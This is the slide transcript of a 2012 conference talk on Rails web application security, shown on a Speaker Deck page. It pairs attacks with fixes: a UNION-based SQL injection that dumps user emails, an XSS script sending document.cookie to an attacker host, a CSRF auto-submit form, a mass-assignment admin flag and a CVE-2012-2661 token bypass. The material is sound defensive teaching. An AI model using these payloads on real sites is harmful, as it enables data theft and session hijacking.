Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Web Application Security in Rails
Search
Uri Nativ
November 12, 2012
Programming
3
560
Web Application Security in Rails
#railsisrael 2012 lecture on web application security in rails
Uri Nativ
November 12, 2012
Tweet
Share
More Decks by Uri Nativ
See All by Uri Nativ
QA without QA
unativ
8
1.5k
Building an Awesome Engineering Culture
unativ
2
270
Pecha Kucha - Using Scrum Values to Build the Engineering Culture
unativ
0
290
Other Decks in Programming
See All in Programming
Conquering Massive Traffic Spikes in Ruby Applications with Pitchfork
riseshia
0
160
理論と実務のギャップを超える
eycjur
0
120
Go言語の特性を活かした公式MCP SDKの設計
hond0413
1
210
uniqueパッケージの内部実装を支えるweak pointerの話
magavel
0
960
階層構造を表現するデータ構造とリファクタリング 〜1年で10倍成長したプロダクトの変化と課題〜
yuhisatoxxx
3
960
iOSアプリの信頼性を向上させる取り組み/ios-app-improve-reliability
shino8rayu9
0
170
Domain-centric? Why Hexagonal, Onion, and Clean Architecture Are Answers to the Wrong Question
olivergierke
2
790
2分台で1500examples完走!爆速CIを支える環境構築術 - Kaigi on Rails 2025
falcon8823
3
3.5k
アメ車でサンノゼを走ってきたよ!
s_shimotori
0
210
dynamic!
moro
10
7.1k
その面倒な作業、「Dart」にやらせませんか? Flutter開発者のための業務効率化
yordgenome03
0
100
CSC305 Lecture 04
javiergs
PRO
0
260
Featured
See All Featured
Fantastic passwords and where to find them - at NoRuKo
philnash
52
3.4k
Connecting the Dots Between Site Speed, User Experience & Your Business [WebExpo 2025]
tammyeverts
9
580
Designing for humans not robots
tammielis
254
26k
BBQ
matthewcrist
89
9.8k
RailsConf 2023
tenderlove
30
1.2k
For a Future-Friendly Web
brad_frost
180
9.9k
Large-scale JavaScript Application Architecture
addyosmani
514
110k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
333
22k
Embracing the Ebb and Flow
colly
88
4.8k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
140
34k
A Modern Web Designer's Workflow
chriscoyier
697
190k
Fireside Chat
paigeccino
40
3.7k
Transcript
WEB APPLICATION SECURITY IN RAILS Uri Nativ RailsIsrael 2012
Uri Nativ @unativ Head of Engineering Klarna Tel Aviv #railsisrael
Buy Now, Pay Later 1. Shop online 2. Receive your
goods 3. Pay
Alice
Bob
Alice and Bob
Alice and Bob
Alice and Bob Like Duh?
Alice and Bob <html> <title> MicroBlogging </title> ... #$@# %#@&*#$
Alice and Bob Hack it!
SQL INJECTION
@results = Micropost.where( "content LIKE '%#{params[:query]%’”).all SELECT 'microposts'.* FROM 'microposts’
WHERE (content LIKE ’%SEARCHSTRING%’) SQL Injection
SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%SEARCHSTRING%') SQL Injection
XXX') UNION SELECT 1, email, 1, 1, 1 FROM users --
SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%XXX') UNION SELECT
1, email, 1, 1, 1 FROM users -- %') SQL Injection
SELECT 'microposts'.* FROM 'microposts' WHERE (content LIKE '%XXX') UNION SELECT
1, email, 1, 1, 1 FROM users -- %') SQL Injection
@results = Micropost.where( "content LIKE ?’, "%#{params[:query]}%”) ).all SQL Injection
- countermeasures
CROSS SITE SCRIPTING XSS
<span class="content"> <%= raw feed_item.content %> </span> XSS
<script> document.write('<img src= "http://www.attacker.com/x.png?' + document.cookie + ’” >'); </script>
XSS
<span class="content"> <%= sanitize feed_item.content, :tags => ['a’] %> </span>
XSS - countermeasures
The Attack: Execute arbitrary code / defacement JSON is not
escaped by default CSS can be injected as well Countermeasures: Never trust data from the users Use Markdown (e.g. Redcarpet gem) XSS
CROSS SITE REQUEST FORGERY CSRF
www.blog.com CSRF 1
www.blog.com 2 Click here for free iPad www.freeiPad.com <form name=“evilform”
action=“www.blog.com/….”> … <script> document.evilform.submit() </script> CSRF
www.blog.com www.freeiPad.com <form name=“evilform” action=“www.blog.com/….”> … <script> document.evilform.submit() </script> CSRF
3
www.blog.com www.freeiPad.com <form name=“evilform” action=“www.blog.com/….”> … <script> document.evilform.submit() </script> POST
/blogpost Content=“Kick Me!” CSRF 4
<input name ="authenticity_token” type ="hidden” value ="vyFdEgofzU4oSJJn5wypxq4“ /> CSRF –
Authenticity Token
routes.rb match '/delete_post/:id', to: 'microposts#destroy' CSRF
class ApplicationController < ActionController::Base # commented to easily test forms
# protect_from_forgery ... end CSRF
The Attack: Attacker send requests on the victim’s behalf Doesn’t
depend on XSS Attacked doesn’t need to be logged-in Countermeasures: Use Rails CSRF default protection (do not override it) Use GET for queries Use POST/DELETE/… when updating data Add Sign-out link CSRF
RAILS SPECIFIC ATTACKS
MASS ASSIGNMENT boo[gotcha!]
def create @user = User.new(params[:user]) ... end Mass Assignment
def create @user = User.new(params[:user]) ... end Mass Assignment {
:name => “gotcha”, :admin => true }
Blacklist class User < ActiveRecord::Base attr_protected :admin ... end Mass
Assignment - countermeasures
Whitelist class User < ActiveRecord::Base attr_accessible :name, :email, :password, :password_confirmation
... Mass Assignment - countermeasures
Global Config (whitelist) config.active_record. whitelist_attributes = true Mass Assignment -
countermeasures
The Attack: Unprotected by default :( Countermeasures: Whitelist Blacklist Strong
Parameters (whitelist) Rails 4 Logic moved to the controller Available as a Gem Mass Assignment
SQL INJECTION VULNERABILITY IN RUBY ON RAILS (CVE-2012-2661)
User.where( :id => params[:user_id], :reset_token => params[:token] ) SELECT users.*
FROM users WHERE users.id = 6 AND users.reset_token = ’XYZ' LIMIT 1 CVE-2012-2661 SQL Injection
/users/6/password/edit?token[] SELECT users.* FROM users WHERE users.id = 6 AND
users.reset_token IS NULL LIMIT 1 CVE-2012-2661 SQL Injection
The Attack: SQL Injection - Affected version: Rails < 3.2.4
Countermeasures: Upgrade to Rails 3.2.4 or higher CVE-2012-2661 SQL Injection
------------------------------------------------- | Warning Type | Total | ------------------------------------------------- | Cross
Site Scripting | 2 | | Cross-Site Request Forgery | 1 | | Denial of Service | 1 | | Redirect | 1 | | SQL Injection | 4 | ------------------------------------------------- Brakeman
CONCLUSIONS
Make Love not War
Know the threats – OWASP top 10 Follow Rails conventions
Ruby on Rails Security Guide http://guides.rubyonrails.org/security.html The Ruby on Rails security project http://www.rorsecurity.info Rails security mailing list: http://groups.google.com/group/rubyonrails-security Conclusions
Daniel Amselem for pair programming Irit Shainzinger for the cool
graphics Michael Hartl for his microblogging app tutorial Thanks to…
Pay Online – Safer and Simpler https://github.com/unativ/sample_app